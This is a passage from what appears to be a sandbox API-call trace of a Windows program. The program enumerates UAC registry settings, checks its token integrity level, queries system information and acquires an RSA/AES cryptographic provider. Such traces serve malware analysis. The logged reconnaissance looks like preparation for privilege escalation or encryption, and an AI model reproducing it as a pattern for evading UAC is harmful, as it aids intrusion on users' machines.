Size=0x40) returned 0x252c3f0 [0165.609] RegEnumValueA (in: hKey=0x24, dwIndex=0x7, lpValueName=0x36f374, lpcchValueName=0x36f370, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="PromptOnSecureDesktop", lpcchValueName=0x36f370, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0165.609] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252b988 [0165.609] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c3a8 [0165.609] RegEnumValueA (in: hKey=0x24, dwIndex=0x8, lpValueName=0x36f374, lpcchValueName=0x36f370, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ValidateAdminCodeSignatures", lpcchValueName=0x36f370, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0165.609] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x30) returned 0x252b998 [0165.610] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252b940) returned 1 [0165.610] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252b940 [0165.610] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c360 [0165.610] RegEnumValueA (in: hKey=0x24, dwIndex=0x9, lpValueName=0x36f374, lpcchValueName=0x36f370, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="dontdisplaylastusername", lpcchValueName=0x36f370, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0165.610] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252b950 [0165.610] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c318 [0165.610] RegEnumValueA (in: hKey=0x24, dwIndex=0xa, lpValueName=0x36f374, lpcchValueName=0x36f370, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticecaption", lpcchValueName=0x36f370, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0165.610] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252b9d0 [0165.610] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c2d0 [0165.610] RegEnumValueA (in: hKey=0x24, dwIndex=0xb, lpValueName=0x36f374, lpcchValueName=0x36f370, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticetext", lpcchValueName=0x36f370, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0165.610] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252b9e0 [0165.610] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c288 [0165.610] RegEnumValueA (in: hKey=0x24, dwIndex=0xc, lpValueName=0x36f374, lpcchValueName=0x36f370, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="scforceoption", lpcchValueName=0x36f370, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0165.610] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c240 [0165.610] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252b998) returned 1 [0165.610] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252b998 [0165.610] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c1f8 [0165.610] RegEnumValueA (in: hKey=0x24, dwIndex=0xd, lpValueName=0x36f374, lpcchValueName=0x36f370, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="shutdownwithoutlogon", lpcchValueName=0x36f370, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0165.610] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252b9a8 [0165.610] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c1b0 [0165.610] RegEnumValueA (in: hKey=0x24, dwIndex=0xe, lpValueName=0x36f374, lpcchValueName=0x36f370, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="undockwithoutlogon", lpcchValueName=0x36f370, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0165.610] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d1e8 [0165.610] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c168 [0165.610] RegEnumValueA (in: hKey=0x24, dwIndex=0xf, lpValueName=0x36f374, lpcchValueName=0x36f370, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x36f370, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0165.610] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d1f8 [0165.610] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c120 [0165.610] RegEnumValueA (in: hKey=0x24, dwIndex=0x10, lpValueName=0x36f374, lpcchValueName=0x36f370, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x36f370, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0165.610] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c0d8 [0165.610] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c0d8) returned 1 [0165.610] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c0d8 [0165.610] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c5a0) returned 1 [0165.610] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252b878) returned 1 [0165.610] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c438) returned 1 [0165.610] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252b888) returned 1 [0165.611] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c558) returned 1 [0165.611] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252b898) returned 1 [0165.611] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c510) returned 1 [0165.611] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252b930) returned 1 [0165.611] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c4c8) returned 1 [0165.611] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252b860) returned 1 [0165.611] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c480) returned 1 [0165.611] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252b968) returned 1 [0165.611] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c3f0) returned 1 [0165.611] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252b978) returned 1 [0165.611] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c3a8) returned 1 [0165.611] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252b988) returned 1 [0165.611] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c360) returned 1 [0165.611] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252b940) returned 1 [0165.611] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c318) returned 1 [0165.611] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252b950) returned 1 [0165.611] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c2d0) returned 1 [0165.611] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252b9d0) returned 1 [0165.611] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c288) returned 1 [0165.611] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252b9e0) returned 1 [0165.611] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c1f8) returned 1 [0165.611] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252b998) returned 1 [0165.611] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c1b0) returned 1 [0165.611] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252b9a8) returned 1 [0165.611] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c168) returned 1 [0165.611] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d1e8) returned 1 [0165.611] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c120) returned 1 [0165.611] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d1f8) returned 1 [0165.611] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c240) returned 1 [0165.611] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c240 [0165.611] RegQueryValueExA (in: hKey=0x24, lpValueName="ConsentPromptBehaviorAdmin", lpReserved=0x0, lpType=0x36f480, lpData=0x0, lpcbData=0x36f488*=0x0 | out: lpType=0x36f480*=0x4, lpData=0x0, lpcbData=0x36f488*=0x4) returned 0x0 [0165.611] RegQueryValueExA (in: hKey=0x24, lpValueName="ConsentPromptBehaviorAdmin", lpReserved=0x0, lpType=0x36f480, lpData=0x252c240, lpcbData=0x36f488*=0x4 | out: lpType=0x36f480*=0x4, lpData=0x252c240*=0x5, lpcbData=0x36f488*=0x4) returned 0x0 [0165.611] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c240) returned 1 [0165.611] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c0d8) returned 1 [0165.611] RegEnumValueA (in: hKey=0x24, dwIndex=0x0, lpValueName=0x36f374, lpcchValueName=0x36f370, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorAdmin", lpcchValueName=0x36f370, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0165.611] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d5e8 [0165.611] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d1f8 [0165.612] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c0d8 [0165.612] RegEnumValueA (in: hKey=0x24, dwIndex=0x1, lpValueName=0x36f374, lpcchValueName=0x36f370, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorUser", lpcchValueName=0x36f370, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0165.612] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d1e8 [0165.612] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c240 [0165.612] RegEnumValueA (in: hKey=0x24, dwIndex=0x2, lpValueName=0x36f374, lpcchValueName=0x36f370, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableInstallerDetection", lpcchValueName=0x36f370, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0165.612] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d208 [0165.612] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c120 [0165.612] RegEnumValueA (in: hKey=0x24, dwIndex=0x3, lpValueName=0x36f374, lpcchValueName=0x36f370, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableLUA", lpcchValueName=0x36f370, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0165.612] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d218 [0165.612] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c168 [0165.612] RegEnumValueA (in: hKey=0x24, dwIndex=0x4, lpValueName=0x36f374, lpcchValueName=0x36f370, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableSecureUIAPaths", lpcchValueName=0x36f370, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0165.612] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x252b860 [0165.612] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d5e8) returned 1 [0165.612] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d228 [0165.612] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c1b0 [0165.612] RegEnumValueA (in: hKey=0x24, dwIndex=0x5, lpValueName=0x36f374, lpcchValueName=0x36f370, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableUIADesktopToggle", lpcchValueName=0x36f370, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0165.612] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d238 [0165.612] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c1f8 [0165.612] RegEnumValueA (in: hKey=0x24, dwIndex=0x6, lpValueName=0x36f374, lpcchValueName=0x36f370, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableVirtualization", lpcchValueName=0x36f370, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0165.612] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d248 [0165.612] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c288 [0165.612] RegEnumValueA (in: hKey=0x24, dwIndex=0x7, lpValueName=0x36f374, lpcchValueName=0x36f370, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="PromptOnSecureDesktop", lpcchValueName=0x36f370, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0165.612] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d258 [0165.612] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c2d0 [0165.612] RegEnumValueA (in: hKey=0x24, dwIndex=0x8, lpValueName=0x36f374, lpcchValueName=0x36f370, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ValidateAdminCodeSignatures", lpcchValueName=0x36f370, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0165.612] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x30) returned 0x252b930 [0165.612] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252b860) returned 1 [0165.612] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d268 [0165.612] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c318 [0165.612] RegEnumValueA (in: hKey=0x24, dwIndex=0x9, lpValueName=0x36f374, lpcchValueName=0x36f370, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="dontdisplaylastusername", lpcchValueName=0x36f370, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0165.612] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d278 [0165.613] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c360 [0165.613] RegEnumValueA (in: hKey=0x24, dwIndex=0xa, lpValueName=0x36f374, lpcchValueName=0x36f370, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticecaption", lpcchValueName=0x36f370, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0165.613] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d288 [0165.613] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c3a8 [0165.613] RegEnumValueA (in: hKey=0x24, dwIndex=0xb, lpValueName=0x36f374, lpcchValueName=0x36f370, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticetext", lpcchValueName=0x36f370, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0165.613] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d298 [0165.613] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c3f0 [0165.613] RegEnumValueA (in: hKey=0x24, dwIndex=0xc, lpValueName=0x36f374, lpcchValueName=0x36f370, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="scforceoption", lpcchValueName=0x36f370, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0165.613] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c480 [0165.613] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252b930) returned 1 [0165.613] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d2a8 [0165.613] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c4c8 [0165.613] RegEnumValueA (in: hKey=0x24, dwIndex=0xd, lpValueName=0x36f374, lpcchValueName=0x36f370, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="shutdownwithoutlogon", lpcchValueName=0x36f370, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0165.613] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d2b8 [0165.613] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c510 [0165.613] RegEnumValueA (in: hKey=0x24, dwIndex=0xe, lpValueName=0x36f374, lpcchValueName=0x36f370, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="undockwithoutlogon", lpcchValueName=0x36f370, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0165.613] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d2c8 [0165.613] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c558 [0165.613] RegEnumValueA (in: hKey=0x24, dwIndex=0xf, lpValueName=0x36f374, lpcchValueName=0x36f370, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x36f370, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0165.613] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d2d8 [0165.613] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c438 [0165.613] RegEnumValueA (in: hKey=0x24, dwIndex=0x10, lpValueName=0x36f374, lpcchValueName=0x36f370, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x36f370, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0165.613] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c5a0 [0165.613] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c5a0) returned 1 [0165.613] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c5a0 [0165.613] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c5a0) returned 1 [0165.613] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c5a0 [0165.613] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c5a0) returned 1 [0165.613] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c5a0 [0165.613] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c5a0) returned 1 [0165.613] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c5a0 [0165.613] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c5a0) returned 1 [0165.613] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c5a0 [0165.613] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c5a0) returned 1 [0165.613] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c5a0 [0165.614] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c5a0) returned 1 [0165.614] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c5a0 [0165.614] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c5a0) returned 1 [0165.614] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c5a0 [0165.614] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c0d8) returned 1 [0165.614] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d1f8) returned 1 [0165.614] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c240) returned 1 [0165.614] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d1e8) returned 1 [0165.614] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c120) returned 1 [0165.614] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d208) returned 1 [0165.614] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c168) returned 1 [0165.614] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d218) returned 1 [0165.614] RegQueryValueExA (in: hKey=0x24, lpValueName="PromptOnSecureDesktop", lpReserved=0x0, lpType=0x36f480, lpData=0x0, lpcbData=0x36f488*=0x0 | out: lpType=0x36f480*=0x4, lpData=0x0, lpcbData=0x36f488*=0x4) returned 0x0 [0165.614] RegQueryValueExA (in: hKey=0x24, lpValueName="PromptOnSecureDesktop", lpReserved=0x0, lpType=0x36f480, lpData=0x252c480, lpcbData=0x36f488*=0x4 | out: lpType=0x36f480*=0x4, lpData=0x252c480*=0x1, lpcbData=0x36f488*=0x4) returned 0x0 [0165.614] RegCloseKey (hKey=0x24) returned 0x0 [0165.614] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x36f4f8 | out: TokenHandle=0x36f4f8*=0x24) returned 1 [0165.614] GetTokenInformation (in: TokenHandle=0x24, TokenInformationClass=0x14, TokenInformation=0x36f4f4, TokenInformationLength=0x4, ReturnLength=0x36f4f0 | out: TokenInformation=0x36f4f4, ReturnLength=0x36f4f0) returned 1 [0165.614] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x36f4e4 | out: TokenHandle=0x36f4e4*=0xa0) returned 1 [0165.614] GetTokenInformation (in: TokenHandle=0xa0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x36f4e0 | out: TokenInformation=0x0, ReturnLength=0x36f4e0) returned 0 [0165.614] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c5a0 [0165.614] GetTokenInformation (in: TokenHandle=0xa0, TokenInformationClass=0x19, TokenInformation=0x252c5a0, TokenInformationLength=0x14, ReturnLength=0x36f4e0 | out: TokenInformation=0x252c5a0, ReturnLength=0x36f4e0) returned 1 [0165.614] GetSidSubAuthorityCount (pSid=0x252c5a8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x3000)) returned 0x252c5a9 [0165.614] GetSidSubAuthority (pSid=0x252c5a8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x3000), nSubAuthority=0x0) returned 0x252c5b0 [0165.614] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c5a0) returned 1 [0165.614] NtClose (Handle=0xa0) returned 0x0 [0165.614] GetSystemInfo (in: lpSystemInfo=0x36f62c | out: lpSystemInfo=0x36f62c*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0x1, dwNumberOfProcessors=0x1, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0165.615] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x6c) returned 0x252b860 [0165.615] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c5a0 [0165.615] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName=0x0) returned 0xa0 [0165.615] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c480 [0165.615] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c438 [0165.615] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c558 [0165.615] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c510 [0165.615] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x5000) returned 0x2150048 [0165.615] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c4c8 [0165.616] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c4c8) returned 1 [0165.616] CryptAcquireContextW (in: phProv=0x36f640, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x36f640*=0x7edfe8) returned 1 [0165.630] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2150048) returned 1 [0165.630] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252b8d8 [0165.630] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252b960 [0165.630] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c4c8 [0165.630] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252b9e8 [0165.630] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252ba70 [0165.630] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c3f0 [0165.630] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252baf8 [0165.630] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c3a8 [0165.630] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x5000) returned 0x2150048 [0165.630] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c360 [0165.630] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c360) returned 1 [0165.630] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0165.639] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2150048) returned 1 [0165.639] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x7e8670, lpbSaclPresent=0x36f5f4, pSacl=0x36f648, lpbSaclDefaulted=0x36f5f4 | out: lpbSaclPresent=0x36f5f4, pSacl=0x36f648, lpbSaclDefaulted=0x36f5f4) returned 1 [0165.639] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c360 [0165.639] CreateEventA (lpEventAttributes=0x36f63c, bManualReset=1, bInitialState=0, lpName="") returned 0xe8 [0165.639] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c360) returned 1 [0165.639] GetLastError () returned 0x0 [0165.639] LocalFree (hMem=0x7e8670) returned 0x0 [0165.639] RtlAllocateHeap (HeapHandle=0x2520000, 